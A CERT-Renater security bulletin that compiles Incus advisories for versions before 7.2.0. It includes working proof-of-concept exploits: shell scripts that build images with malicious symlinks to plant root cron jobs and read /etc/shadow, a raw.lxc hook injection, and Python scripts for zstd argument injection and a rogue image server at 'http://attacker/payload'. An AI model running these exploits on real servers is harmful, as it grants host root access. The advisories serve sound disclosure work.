Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN680
_____________________________________________________________________

DATE                : 26/06/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running incusd (Go) versions prior
                                       to 7.2.0.
 
=====================================================================
https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9
https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
https://github.com/lxc/incus/security/advisories/GHSA-v6mj-8pf4-hhw4
https://github.com/lxc/incus/security/advisories/GHSA-f6m5-xw2g-xc4x
https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f
_____________________________________________________________________

Restricted project bypass leading to arbitrary command execution
Critical
stgraber published GHSA-48q5-w887-33wv

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0


Description

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block
setting; allowing for arbitrary command execution on the Incus server
by abusing lowlevel hooks such as raw.lxc and raw.qemu.


Details

Instance snapshots ignore the restricted.containers.lowlevel=block
setting; allowing for arbitrary command execution on the Incus server
by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious
instance+snapshot can be crafted locally, moved to a restricted
project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary
commands on the host with root privileges.
PoC

# remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
#> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc

Impact

    Bypass of project restrictions.
    Arbitrary command execution on the Incus server.

Severity
Critical
/ 10
CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CVE ID
CVE-2026-48751
Weaknesses
No CWEs
Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer

_____________________________________________________________________


Arbitrary file write on host via `exec-output` symlink in crafted
image

Critical
stgraber published GHSA-73hr-m85f-64v9

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0


Description

Summary

The record-output parameter of the /instances/$name/exec endpoint
stores the output of the command in the exec-output directory of the
instance. If exec-output is a symlink, file named exec_UUID.stdout
and exec_UUID.stderr can be written to an arbitrary location where
the .stdout file will contain arbitrary content. This behavior can be
abused for arbitrary command execution.

Details

When an image is unpacked, top-level symlinks are extracted as is;
allowing for exec-output to be placed on disk. In instance_exec.go,
os.Mkdir continues of exec-output exists and os.OpenFile follows
the exec-output symlink.
PoC

Below, we place the exec_UUID.stdout file in /etc/cron.d on
the host for arbitrary command execution.

#!/bin/sh
# usage: $0 existing-imagefp
set -eu

basefp="${1}"

die() {
        printf '%s' "${@}" >&2
        exit 1
}

command -v curl >/dev/null 2>&1 || die 'error: curl not found\n'
command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'

tmpdir=$(mktemp -d)
cleanup() {
        rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP


# insert exec-output symlink

incus image export "${basefp}" "${tmpdir}/img"

mkdir "${tmpdir}/repack"
cd "${tmpdir}/repack"

xz -cd "${tmpdir}/img" | tar -f- -vx

rm -rf exec-output
ln -s /etc/cron.d exec-output

tar -f- -c * | gzip -c9 >"${tmpdir}/img"

cd - >/dev/null
incus image import "${tmpdir}"/img* --alias afw-exec-output


# Launch container, exec with record-output via REST API
incus launch afw-exec-output afw-exec-output
incus wait afw-exec-output ip

OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \
  -X POST -H 'Content-Type: application/json' \
  -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \
  "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")

curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null

#find /etc/cron.d/exec_* -exec cat {} \;

Impact

Constrained file creation in an arbitrary directory on the host via
via an unsanitized symlink; possibly leading to command execution.

Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-48750

Weaknesses
No CWEs

Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer

_____________________________________________________________________

Arbitrary file read+write on host via templates/ symlink in malicious
image

Critical
stgraber published GHSA-vxp5-584q-c479

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0

Description

Summary

A specially crafted image or instance backup can be used to read or
create/write arbitrary files on the host; possibly leading to
arbitrary command execution.


Details

For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path
in shared/archive/archive.go excludes device nodes, but it does
not reject a top-level templates symlink.

For instance backups,
internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy
uses argument -a (archive mode), but does not add --safe-links.
This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary
directory and edit arbitrary files in it.

PoC

Malicious container image

Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Malicious instance backup

Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__

mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
  name: afrw-backup-templates-symlink
  architecture: x86_64
  type: container
  status: Stopped
  status_code: 102
  stateful: false
  ephemeral: false
  profiles:
    - default
  config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  expanded_config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  devices: {}
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  created_at: "2024-01-01T00:00:00Z"
  last_used_at: "2024-01-01T00:00:00Z"
volume:
  name: afrw-backup-templates-symlink
  type: container
  content_type: filesystem
  config: {}
pool:
  name: default
  driver: dir
  config: {}
__EOF__

cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: afrw-backup-templates-symlink
__EOF__

mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink

# read
#incus config template show afrw-backup-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc


Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.


Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-48752

Weaknesses
No CWEs

Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer

_____________________________________________________________________

Arbitrary file read+write on host via rootfs/ symlink in malicious
image

Critical
stgraber published GHSA-2q3f-q5pq-g8wv

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0

Description

Summary

A specially crafted image can be used to read or create/write arbitrary
files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and
a rootfs/ entry, but full extraction can later process a duplicate top-level
rootfs symlink. Later, the stopped-container file API opens
d.RootfsPath() and passes that file descriptor to forkfile, which chroots to
it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem
with root privileges.


PoC

Below, we map the container's rootfs to / on the host, but it can be
mapped anywhere. We then retrieve the host's /etc/shadow file and
create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/


Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.


Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-48749

Weaknesses
No CWEs

Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer
_____________________________________________________________________

Argument injection in backup compression algorithm leading to AFW and
ACE

Critical
stgraber published GHSA-v6mj-8pf4-hhw4

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0


Description

Summary

Improper validation of user-provided backup compression algorithm
leads to argument injection in the constructed command line. This
leads to an arbitrary file write on the host, possibly leading to
arbitrary command execution.


Details

Incus validates compression_algorithm by parsing it into fields and
checking only the first token against an allowlist:

fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
    return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and
passes the remaining user-supplied fields to the compressor:

args := []string{"-c"}
if len(fields) > 1 {
    args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile

With a value like:

zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload


PoC

python3 poc.py \
	--insecure --url https://remote-incus:8443 \
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
	--instance c01 \
	--execute --yes-i-understand-this-writes-host-file

The following was generated by an LLM model.

#!/usr/bin/env python3
"""Short remote Incus backup compression zstd cron RCE PoC.

Dry-run is the default.  --execute uploads a cron payload into an instance and
then asks Incus for a direct backup with a zstd argument-injection compressor:

    zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source>

The direct backup may fail after zstd runs; the host file write is the primitive.
Use only on an authorized Incus server.
"""

from __future__ import annotations

import argparse
import json
import os
import shlex
import sys
import urllib.parse
from pathlib import PurePosixPath
from typing import Any

import requests


def q(value: str) -> str:
    return urllib.parse.quote(value, safe="")


def api(base: str, endpoint: str, **params: str) -> str:
    return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "")


def project_instance(project: str, instance: str) -> str:
    return instance if project == "default" else f"{project}_{instance}"


def clean_guest_path(path: str) -> str:
    if not path.startswith("/"):
        raise ValueError("--guest-path must be absolute")
    if ".." in PurePosixPath(path).parts:
        raise ValueError("--guest-path must not contain '..'")
    return os.path.normpath("/" + path.lstrip("/")).lstrip("/")


def source_path(args: argparse.Namespace) -> str:
    if args.source_host_path:
        return args.source_host_path
    return os.path.join(
        args.incus_dir,
        "storage-pools",
        args.pool,
        args.storage_kind,
        project_instance(args.project, args.instance),
        "rootfs",
        clean_guest_path(args.guest_path),
    )


def cron(command: str) -> bytes:
    return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode()


def session(args: argparse.Namespace) -> requests.Session:
    s = requests.Session()
    s.verify = False if args.insecure else (args.cacert or True)
    if args.cert or args.key:
        s.cert = (args.cert, args.key)
    if args.token:
        s.headers["Authorization"] = "Bearer " + args.token
    s.headers["User-Agent"] = "incus-zstd-backup-rce-poc"
    if args.insecure:
        requests.packages.urllib3.disable_warnings()  # type: ignore[attr-defined]
    return s


def check(resp: requests.Response, what: str) -> requests.Response:
    if resp.status_code >= 400:
        try:
            detail: Any = resp.json()
        except Exception:
            detail = resp.text[:2048]
        raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}")
    return resp


def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path)
    headers = {
        "Content-Type": "application/octet-stream",
        "X-Incus-type": "file",
        "X-Incus-write": "overwrite",
        "X-Incus-uid": "0",
        "X-Incus-gid": "0",
        "X-Incus-mode": "0644",
    }
    print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}")
    check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload")


def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None:
    url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project)
    print("[*] sending direct backup request")
    resp = s.post(
        url,
        data=json.dumps(body).encode(),
        headers={"Accept": "application/octet-stream", "Content-Type": "application/json"},
        timeout=args.timeout,
        stream=True,
    )
    print(f"[*] backup HTTP {resp.status_code}")
    resp.close()
    if resp.status_code >= 400:
        print("[*] HTTP error after compressor launch is possible; check whether the cron file was written")


def parse_args() -> argparse.Namespace:
    p = argparse.ArgumentParser(description="Remote Incus zstd backup-compression cron RCE PoC")
    p.add_argument("--url", required=True, help="https://host:8443")
    p.add_argument("--cert", help="client certificate PEM")
    p.add_argument("--key", help="client private key PEM")
    p.add_argument("--cacert", help="CA certificate PEM")
    p.add_argument("--token", help="bearer token")
    p.add_argument("--insecure", action="store_true", help="disable TLS verification")
    p.add_argument("--timeout", type=int, default=180)

    p.add_argument("--project", default="default")
    p.add_argument("--instance", required=True)
    p.add_argument("--pool", default="default")
    p.add_argument("--storage-kind", choices=["containers", "virtual-machines"], default="containers")
    p.add_argument("--incus-dir", default="/var/lib/incus")
    p.add_argument("--guest-path", default="/incus-zstd-cron")
    p.add_argument("--source-host-path", help="override daemon-readable host path for the staged payload")
    p.add_argument("--cron-path", default="/etc/cron.d/incus-zstd-rce")
    p.add_argument("--command", default="date >/incus-zstd-rce; id >>/incus-zstd-rce")

    p.add_argument("--execute", action="store_true", help="stage payload and send backup request")
    p.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute")
    args = p.parse_args()

    if urllib.parse.urlparse(args.url).scheme != "https":
        p.error("--url must use https")
    if bool(args.cert) != bool(args.key):
        p.error("--cert and --key must be supplied together")
    if args.execute and not args.yes_i_understand_this_writes_host_file:
        p.error("--execute requires --yes-i-understand-this-writes-host-file")
    try:
        clean_guest_path(args.guest_path)
    except ValueError as exc:
        p.error(str(exc))

    args.url = args.url.rstrip("/")
    return args


def main() -> int:
    args = parse_args()
    src = source_path(args)
    payload = cron(args.command)
    compressor = f"zstd -d -f --pass-through -o {shlex.quote(args.cron_path)} -- {shlex.quote(src)}"
    body = {"compression_algorithm": compressor, "instance_only": True}

    print("[*] target:", args.url)
    print("[*] project:", args.project)
    print("[*] instance:", args.instance)
    print("[*] source host path:", src)
    print("[*] cron path:", args.cron_path)
    print("[*] payload:", payload.decode().rstrip())
    print("[*] backup body:", json.dumps(body, sort_keys=True))

    if not args.execute:
        print("[*] dry run only; add --execute and the confirmation flag to act")
        return 0

    s = session(args)
    upload(s, args, payload)
    trigger_backup(s, args, body)
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except BrokenPipeError:
        raise SystemExit(1)
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        raise SystemExit(1)


Impact

Improperly validated compression algorithm argument leads to argument
injection leading to arbitrary file write with zstd and possibly
arbitrary command execution.


Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-48755

Weaknesses
No CWEs

Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer
_____________________________________________________________________

Arbitrary file write on client due to trusted image hash
Critical
stgraber published GHSA-f6m5-xw2g-xc4x

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0


Description

Summary

An arbitrary file write exists in the Incus client when a malicious
image server returns a crafted Incus-Image-Hash header. This can
lead to arbitrary command execution as root on the server.


Details

    cmd/incusd/images.go:611-684 handles source.type=url by HEADing
the user-supplied URL, reading Incus-Image-Hash and Incus-Image-URL,
and passing them to imageDownload() as Alias
    and Server.
    cmd/incusd/daemon_images.go:91-92 defaults fp to the caller-controlled alias string.
    cmd/incusd/daemon_images.go:333-335 builds destName := filepath.Join(destDir, fp).
    cmd/incusd/daemon_images.go:469-523 enters the direct protocol branch,
opens destName with os.Create(), and copies the HTTP response into that file.
    cmd/incusd/daemon_images.go:528-532 validates the SHA-256 only after the
file has already been created and populated.
    cmd/incusd/daemon_images.go:337-344 cleanup only runs after the copy
returns; a slow or held response extends the arbitrary-write window.

A malicious image server returning something along the following will cause
the arbitrary file write.

Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce
Incus-Image-URL: http://attacker/payload


PoC

The script below creates a malicious image server and requests an Incus
server to fetch the image. File write occurs when the image is unpacked.

The following script was generated by an LLM.

#!/usr/bin/env python3
"""Direct image URL hash path traversal to transient host cron write.

For `source.type=url`, Incus first HEADs an attacker-controlled URL
and trusts the `Incus-Image-Hash` header as the expected fingerprint.
The direct download path then creates `/var/lib/incus/images/<hash>`
before validating that the hash is a real SHA-256 of the downloaded
bytes. A hash containing `../` escapes the image directory.

Default mode is dry-run. With --execute-trigger this script starts a
tiny HTTP server, returns a traversal hash pointing at cron, streams
the cron payload, and keeps the response open so the daemon-side
cleanup does not immediately remove the file.
"""

from __future__ import annotations

import argparse
import http.client
import json
import shlex
import socket
import ssl
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from typing import Any


DEFAULT_SOCKET = "/var/lib/incus/unix.socket"
DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"


class UnixHTTPConnection(http.client.HTTPConnection):
    def __init__(self, socket_path: str, timeout: int = 120):
        super().__init__("incus", timeout=timeout)
        self.socket_path = socket_path

    def connect(self) -> None:
        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        sock.settimeout(self.timeout)
        sock.connect(self.socket_path)
        self.sock = sock


class RCEHTTPServer(ThreadingHTTPServer):
    hash_path: str
    advertise_url: str
    payload: bytes
    hold_seconds: int
    payload_requested: threading.Event


class DirectImageHandler(BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    server_version = "direct-image-rce/1.0"

    def log_message(self, fmt: str, *args: Any) -> None:
        print(f"[http] {self.address_string()} - {fmt % args}", flush=True)

    def do_HEAD(self) -> None:
        if self.path != "/stage":
            self.send_error(404)
            return

        srv = self.server
        assert isinstance(srv, RCEHTTPServer)
        self.send_response(200)
        self.send_header("Incus-Image-Hash", srv.hash_path)
        self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")
        self.send_header("Connection", "close")
        self.end_headers()

    def do_GET(self) -> None:
        if self.path != "/payload":
            self.send_error(404)
            return

        srv = self.server
        assert isinstance(srv, RCEHTTPServer)
        srv.payload_requested.set()

        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(srv.payload)
        self.wfile.flush()
        print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)
        time.sleep(srv.hold_seconds)
        self.close_connection = True


def quote(value: str) -> str:
    return urllib.parse.quote(value, safe="")


def tls_context(args: argparse.Namespace) -> ssl.SSLContext:
    if args.insecure:
        ctx = ssl._create_unverified_context()
    else:
        ctx = ssl.create_default_context(cafile=args.cacert)

    if args.cert:
        ctx.load_cert_chain(args.cert, args.key)

    return ctx


def connection(args: argparse.Namespace) -> http.client.HTTPConnection:
    if args.url:
        parsed = urllib.parse.urlparse(args.url)
        if parsed.scheme != "https":
            raise ValueError("--url must use https")

        return http.client.HTTPSConnection(
            parsed.hostname,
            parsed.port or 8443,
            timeout=args.timeout,
            context=tls_context(args),
        )

    return UnixHTTPConnection(args.socket, timeout=args.timeout)


def request_json(
    args: argparse.Namespace,
    method: str,
    path: str,
    obj: dict[str, Any] | None,
    allow_error: bool = False,
) -> tuple[int, dict[str, Any]]:
    body = None if obj is None else json.dumps(obj).encode("utf-8")
    headers = {"Host": "incus"}
    if body is not None:
        headers["Content-Type"] = "application/json"

    conn = connection(args)
    conn.request(method, path, body=body, headers=headers)
    resp = conn.getresponse()
    raw = resp.read()
    conn.close()

    try:
        data = json.loads(raw) if raw else {}
    except json.JSONDecodeError:
        data = {"raw": raw.decode("utf-8", "replace")}

    if not allow_error and (resp.status >= 400 or data.get("type") == "error"):
        raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")

    return resp.status, data


def images_path(project: str) -> str:
    return "/1.0/images?project=" + quote(project)


def cron_payload(command: str) -> bytes:
    return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")


def image_url_body(project_url: str, public: bool) -> dict[str, Any]:
    return {
        "source": {
            "type": "url",
            "url": project_url.rstrip("/") + "/stage",
        },
        "public": public,
    }


def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:
    server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)
    server.hash_path = args.hash_path
    server.advertise_url = args.advertise_url
    server.payload = payload
    server.hold_seconds = args.hold_seconds
    server.payload_requested = threading.Event()

    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


def main() -> int:
    parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")
    parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")
    parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")
    parser.add_argument("--cert", help="client certificate for remote Incus")
    parser.add_argument("--key", help="client private key for remote Incus")
    parser.add_argument("--cacert", help="CA certificate for remote Incus")
    parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
    parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")
    parser.add_argument("--project", default="default", help="project used for image import")
    parser.add_argument("--public", action="store_true", help="mark imported image public")
    parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address")
    parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port")
    parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon")
    parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash")
    parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds")
    parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run")
    parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")
    parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")
    args = parser.parse_args()

    if bool(args.cert) != bool(args.key):
        parser.error("--cert and --key must be supplied together")
    if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:
        parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")

    payload = cron_payload(args.command)
    trigger_body = image_url_body(args.advertise_url, args.public)

    print("[*] exploit primitive: direct image URL unvalidated hash path host write")
    print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")
    print(f"[*] returned Incus-Image-Hash: {args.hash_path}")
    print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")
    print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")
    print(f"[*] cron payload: {payload.decode().rstrip()}")
    print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")

    if not args.execute_trigger:
        print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")
        return 0

    server = start_server(args, payload)
    print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")

    status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)
    print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")

    if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):
        print("[*] daemon requested payload; cron file should exist until the held response is released")
    else:
        print("[!] daemon did not request payload within the wait window")

    print("[*] leaving HTTP server active for the remaining hold window")
    time.sleep(max(0, args.hold_seconds - 30))
    server.shutdown()
    server.server_close()
    return 0


if __name__ == "__main__":
    try:
        raise SystemExit(main())
    except BrokenPipeError:
        raise SystemExit(1)
    except Exception as exc:
        print(f"[-] {exc}", file=sys.stderr)
        raise SystemExit(1)

Impact

An arbitrary file write on the client with root privileges; possibly
leading to arbitrary command execution.

Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-48769

Weaknesses
No CWEs

Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer
_____________________________________________________________________

Project restriction bypass in instance copy across projects
High
stgraber published GHSA-c9f5-j9c3-mhrg

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0


Description

Summary

Missing authorization checks exist for instance copying where an attacker
knowing the name of a project that they don't have access to and the name
of an instance in that project can copy the instance to a new project.
This issue could allow an attacker to access secrets in instances they are
not authorized to access.


Details

cmd/incusd/instances.go authorizes POST /1.0/instances against the target
project. In the copy path, cmd/incusd/instances_post.go then loads the
source instance from req.Source.Project without checking whether the caller
can view that source instance.

From my understanding, the copy must occur on the same server. However, once
the copy has been done, nothing prevents a malicious actor from moving the
instance to another server.


PoC

Setup

We assume the target server is remotely accessible and a user/certificate
has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus ls remote:

Exploitation

The below script was partly generated. To copy the secret instance to the
default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the
copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
